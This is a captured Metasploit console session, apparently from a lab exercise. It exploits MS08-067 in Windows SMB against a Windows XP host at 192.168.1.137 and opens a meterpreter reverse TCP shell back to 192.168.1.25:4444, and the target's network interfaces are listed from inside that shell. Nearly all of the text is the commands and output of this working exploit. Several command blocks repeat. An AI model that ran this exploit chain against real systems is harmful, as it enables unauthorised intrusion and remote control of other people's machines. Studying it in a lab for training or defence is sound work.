

```
(kali@kali)~$ msfconsole
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R
```

Metasploit

```

+---[ metasploit v6.3.43-dev ]
+---[ 2376 exploits - 1232 auxiliary - 416 post ]
+---[ 1391 payloads - 46 encoders - 11 nops ]
+---[ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > search ms08_067
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08\_067\_netapi

```
msf6 > use 0
```

```
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08\_067\_netapi

```
msf6 > use 0
```

```
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08\_067\_netapi):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Targeting

View the full module info with the info, or info -d command.

```
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS
```

```
RHOSTS =>
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.137
```

```
RHOSTS => 192.168.1.137
```

```
RHOSTS =>
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.137
```

```
RHOSTS => 192.168.1.137
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08\_067\_netapi):

Name	Current Setting	Required	Description
RHOSTS	192.168.1.137	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Targeting

View the full module info with the info, or info -d command.

View the full module info with the info, or info -d command.

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
```

```
[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.137:445 - Automatically detecting the target...
[*] 192.168.1.137:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.137:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.137:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175086 bytes) to 192.168.1.137
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.137:1036) at 2024-03-06 13:09:44 +0100
```

```
meterpreter > ifconfig
```

```
Interface 1
*****
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1

Interface 2
*****
Name       : Intel(R) PRO/1000 T Server Adapter - Packet Scheduler Miniport
Hardware MAC : 08:00:27:b2:ad:2d
MTU        : 1500
IPv4 Address : 192.168.1.137
IPv4 Netmask : 255.255.255.0
```

```
meterpreter >
```

